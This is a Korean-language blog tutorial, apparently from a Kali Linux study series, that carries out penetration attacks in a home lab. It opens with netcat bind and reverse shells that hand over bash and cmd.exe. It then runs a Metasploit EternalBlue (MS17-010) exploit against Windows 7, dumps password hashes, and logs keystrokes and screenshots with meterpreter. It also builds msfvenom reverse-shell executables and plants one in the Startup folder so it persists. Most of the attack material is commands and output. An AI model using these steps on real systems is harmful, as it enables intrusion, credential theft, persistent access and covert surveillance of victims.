2024. 6. 12. 00:08ㆍLinux/KALI
이전 글에서 사용한
netcat을 다시 한번 사용해 볼 것이다.
이러한 침투 공격은 두가지로 나뉘는데
> Bind TCP : 공격자가 공격 대상으로 접근 공격자 --> 공격 대상
> Reverse TCP : 공격 대상자가 공격자로 접근 공격대상 --> 공격자
위처럼 두가지로 나뉜다.
실습해보자!
netcat
먼저 CentOS 와 Kali Linux를 준비해주자
두OS는 모두 NC 명령어로 netcat을 이용할 수 있다
nc -e /bin/bash -l -p 4444
위 명령어로 CentOS의 4444포트로 접근시
/bin/bash가 실행되게 해보겠다.
그리고
nc 192.168.10.50 4444
Kali에서 nc 명령어로 CentOS에 접근해보겠다.
위 사진이 접근이 완료된 상태다
CentOS에서 netstat으로 확인해보면
제대로 연결된 것을 볼 수 있다.
명령어 입력시 제대로 실행되는 것을 볼 수 있다.
이러한 공격은
Bind TCP로
공격자 Kali 가 희생자 CentOS로 접근한 것이다.
포트는 아무것이나 지정해줄 수 있다!
Reverse TCP로도 실습해보자
이번엔 Centos 두개를 준비해주자
각각
192.168.10.50 (공격자)
192.168.10.100 (공격 대상자)
IP를 사용한다.
50번 리눅스에서 아래와 같이 입력해주자
nc -n -v -l -p 1234
-n : 호스트네임과 포트를 숫자로만 입력
-v : 더 많은 정보 표시
-l : 포트를 listen 상태로 개방
-p : 포트 지정
이후 100번 리눅스에서 접근해보자
nc 192.168.10.50 1234
50번으로 접근한뒤
50번 리눅스를 다시 확인해보면
위처럼 100번서버와 연결됐다고 표시되고 있다!
서로 아무 단어나 입력해보면 채팅처럼
서로에게 나타나는 것이 보인다.
지금까진 nc로 접속시
아무런 내용도 뜨지 않았는데
공격대상 PC의 셸프롬프트를 사용할 수도 있다.
다시 50번 리눅스를 nc명령어로 열어두자
python -c 'import pty;pty.spawn("/bin/bash")'
위처럼 피해PC에 접근 후 python 명령어를 입력하면
공격 대상자의 셸 프롬프트로 접속할 수 있다!
잘 사용한다면 유지보수 용으로도 쓰일 수 있지만
악의적으로 사용하면 침입이 되는 것이다.
Netcat을 이용해 파일 전송도 가능하다!
다시 CentOS를 두개 준비해보자
그리고 100번 리눅스에 명령어를 입력해보자
nc -l 4444 > file.txt
이후 50번 리눅스에서 똑같은 제목의 파일을 만들어서
내용을 입력한뒤 nc 명령어를 사용하자
echo "welcome file transfer." > file.txt
nc 192.168.10.100 4444 < file.txt
그리고 100번 리눅스로 돌아와서 파일을 확인해보자
똑같이 옮겨진 것을 볼 수 있다!
윈도우와도 똑같이 할 수 있다!
Window 7(IP 192.168.10.202)을 준비해주자
윈도우 7에 netcat을 다운로드 해주자!
그후 CMD창을 관리자 권한으로 실행한 뒤에
netcat의 경로로 이동해주자!
방화벽은 이전에 반드시 중지시켜놔야 한다!
이제 리눅스 쪽에서 > 윈도우 방향으로 Bind TCP로 공격해보겠다.
nc -L -d -e c:\windows\system32\cmd.exe -p 1234
윈도우의 프롬프트 경로만 제외하면 방식은 비슷하다
nc 명령어로 위처럼 실행해주자
옵션
L : 세션 영구 유지 (listen)
d : 백그라운드에서 실행
그리고 50번 리눅스에서 접속해보자!
nc 192.168.10.202 1234
위 명령어를 입력하니 윈도우 CMD창과 똑같은 문구가 출력되고 있다!
한글이 깨지고 있긴 하지만 명령어도 잘 실행된다!
md (파일명)
md 명령어로 파일을 생성하자 해당 경로에 doghj 파일이 생긴걸 볼 수 있다
윈도우에서도 확인 가능하다.
지금 이것이 Linux 기준으로
Linux ---> window
침투의 정방향이다.
이번엔 역방향으로 확인해보자
window ---> Linux
똑같이 nc 명령어로 특정 포트를 지정해주고 대기하자
nc 192.168.10.50 4444
잘 작동하는 것을 볼 수 있다.
이로서
Linux > Linux
Linux > Window
Window > Linux
모든 방식을 한번씩 해보았다
여담으로
bind TCP가 가능한 업데이트 되지않은 window는 7이하의 OS만 가능하다..
그 이상은 이제 보안패치로 인해 막혀버렸기 때문이다.
그이상은 Reverse TCP만 가능하다!
그런데 읽다보면
Reverse TCP가 이상하다고 생각 되지 않는가?
공격 대상자가 공격자에게 접근한다니??
당연히 공격대상자 (피해자, 희생자 PC )가 알아서 접근할리는 없으니
공격자가 대상PC에 파일을 업로드하는 등의 방식으로 접근하게 만들어야한다.
Metasploit
공격 하는 행위를 익스플로이트(Exploit)이라고 한다.
이런 공격들을 하기위한 대표적인 프로그램이
메타스플로이트(Metasploit) 이다.
그래픽 버전, 콘솔버전이 있는데
우린 콘솔 버전을 사용해보자
Kali로 이동하자!
msfconsole
칼리에 해당 명령어를 입력하는 뜨는 환영문구는
달라질 수 있기 때문에 신경쓰지말자
이제부터 우리는 eternalblue라는 ms 취약점으로 공격을 시도해보려한다.
ms17-010 취약점을 구글에 검색해보자
MS17-010, CVE-2017-0143 등의 이상한 이름들을 볼 수 있을 것이다.
MS17-010
이러한 이름은 MS사에서 자체적으로 부여한 취약점 번호이다
MS사에서 2017년도 10번째로 발견된 취약점이라는 뜻이다!
CVE-2017-0143
CVE(Common Vulnerabilities and Exposures) 는 국제 취약점 리스트의 코드로
2017년도에 발견된 143번째 취약점이라는 뜻이다!
SMB 취약점에 두개의 코드가 있는 이유는
17년도에 MS에서 10번째로 발견된 취약점이
CVE로 인계되어 143번째라는 코드를 다시 부여 받았기 때문에 그렇다!
여담으로 CWE (Common Weakness Enumeration)라는
보안약점 리스트도 존재한다.
만들어진 계기는
코드 보안 평가 업계에서 제공되는 리스트를 분류하기엔 너무 추상적이였기에
취약점 뿐 만 아니라 보안약점(weakness)과 같이 더 상세한 분류가 필요해졌다.
다시 본론으로 돌아와서
우리가 실습해볼
ms17_010_eternalblue 라는 취약점은
공격시 블루스크린을 띄우게되는 공격이다.
Kali에서 실행한 msfconsole로 돌아가자
use exploit/windows/
윈도우 관련 공격 명령어를 사용하려고 하는데
해당 주소에서 tab 키를 눌러보면 1181개나 존재하는 것을 볼 수 있다.
이중에서 아까전에 검색해본
SMB 취약점을 이용해보자
use exploit/windows/smb/ms17_010_
우리가 검색해본 ms 취약점의 이름을 입력해보면
이터널블루와 psexec 두가지가 존재한는걸 볼 수 있다!
psexec는 리눅스에서 통하는 취약점이다.
우리는 eternalblue 를 사용해보자
use exploit/windows/smb/ms17_010_eternalblue
입력했다면 비유적으론 포를 설치한 것이다.
이제 포탄을 장전해주자!
set payload windows/x64/shell/bind_tcp
윈도우 64비트의 쉘 권한을 획득하기 위한 bind tcp 를 세팅했다.
set rhost 192.168.10.202
간혹가다 rhosts인 녀석들도 있기때문에
rhost 이후에 탭키를 한번씩 눌러보자
위 명령어로 공격 대상을 설정했다.
이러면 끝난것이다.
공격 명령어 exploit을 입력하자
exploit
그럼 잠시뒤에 윈도우 cmd창이 kali에 표시되는 걸 볼 수 있다!
명령어 실행도 잘된다
이를 방어하려면 윈도우에서 방화벽을 켜주거나
로컬 연결 속성에서 ms 네트워크용 파일 및 프린터 공유 옵션을 꺼주면 된다.
메타스플로잇의 미터프리터를 이용하면
더욱 다양한 공격이 가능해진다..
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.10.202
exploit
이전과 똑같은데 잘보면 페이로드 부분이 다르니 주의하자
위처럼 뜨면 성공이다.
shell
위 화면에서 shell 명령어를 입력하면 바로 윈도우쉘을 실행할 수 있다.
sysinfo
위 명령어로는 공격 대상자의 PC 정보를 알 수 있다.
hashdump
위 명렁어로는
윈도우의 패스워드를 덤핑할 수도 있다.
해쉬 크랙 사이트에 해쉬값을 넣어보면 이렇게 패스워드도 알아낼 수 있으니
굉장히 위험한 유출인 것이다.
이번엔 Reverse TCP를 해보자
Kali로 돌아가자
/etc/samba/smb.conf 파일을 수정하자
service smbd restart
mkdir samba
chmod 777 samba
cd /samba
touch 1.txt
설정파일의 경로처럼
디렉토리를 똑같이 만들어주고
권한 부여 후 테스트 파일을 하나 만들자
useradd test
smbpasswd -a test
이후에 삼바용 계정 생성 후
삼바 패스워드를 지정해주자
윈도우 7, 10 모두 접근 가능하고
테스트 파일도 확인 가능하다.
그럼 이제 칼리에서 윈도우 악성코드를 생성해보자
msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.10.250 lport=4444 -f exe > win_shell.exe
현재 위치에 win_shell.exe가 만들어졌을 것이다.
vi /samba/win_shell.rc
-----------------------------vi편집기---------------------------
use exploit/multi/handler
set payload windows/x64/shell/reverse_tcp
set lhost 192.168.10.250
set lport 4444
set exitonsession false
exploit -j -z
----------------------------------------------------------------
생성 이후 아래 명령어 실행
msfconsole -r win_shell.rc
win_shell.rc 파일을 만들어주자
-j는 백그라운드 실행 옵션
-z 는 익스플로잇 성공후 세션 연결 해제이다.
위 파일을 만든 이유는 마지막 명령어로 rc 파일을 읽어
자동화 시켜주기 때문이다.
자동 실행 완료
이제 윈도우7에서 악성파일을 받아서 실행해보자 (win_shell.exe)
실행해보아도 아무 반응이 없을 것이다.
하지만 위처럼 칼리에서는 세션 연결된 것을 볼 수 있다
sessions -i 1
또한 곧바로 윈도우로 접속도 할 수있다.
윈도우 10에서도 가능하니 똑같이 해보자
이번엔 원격으로 윈도우 7을 리부트 해보자
msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.10.250 lport=5555 -f exe > win_meta.exe
vi win_meta.rc
-------------------------------------------------------------
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.10.250
set lport 5555
set exitonsession false
exploit -j -z
-------------------------------------------------------------
생성 이후 아래 명령어실행
msfconsole -r win_meta.rc
이전과 같이 exe, rc 파일을 생성해주자
그리고 윈도우 7에서 똑같이 win_meta 파일을 실행해보면
세션이 연결되었다!
(세션이 두개인 이유는 윈도우 10도 연결되있어서 그렇다)
pwd
cd ..
cd AppData
cd Roaming
cd Microsoft
cd Windows
cd "Start Menu"
cd Programs
pwd
C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
cd Startup
upload win_meta.exe
reboot
이제 윈도우 쉘에서 해당 경로에 win_meta를 업로드후
재부팅 명령어 입력 즉시
윈도우 7이 재시작되는 걸 볼 수 있다.
만약 실행이 안된다면 meta 파일을 윈도우7에서 관리자 권한으로 실행해보자!
세션이 연결된 상태에서 공격 대상자의 화면을 캡쳐할 수도 있다.
screenshot
또한 화면을 공유받아 실시간으로 볼수도 있다.
screenshare
영상으로 재생되는 것은 아니고
사진 파일이 계속 업데이트 되는 형식이다.
프레임이 조금 낮은 영상이라고 생각하면 된다.
마지막으로 키스캔도 가능하다
keyscan_start
keyscan_dump
google.com<CR>
abc<Right Shift>@google.com<CR>
abc1234<CR>
meterpreter > keyscan_stop
이상으로 침투공격에 대해서 알아보았다
'Linux > KALI' 카테고리의 다른 글
Kali 9. DoS 공격, netcat, TCPDump (0) | 2024.04.30 |
---|---|
Kali 8. Snort 침입탐지 (0) | 2024.04.29 |
Kali 3. 정보 수집 (0) | 2024.04.23 |
Kali 2. 한글 입력기 설치 (0) | 2024.04.22 |
Kali 1. Kali Linux 설치 (0) | 2024.03.04 |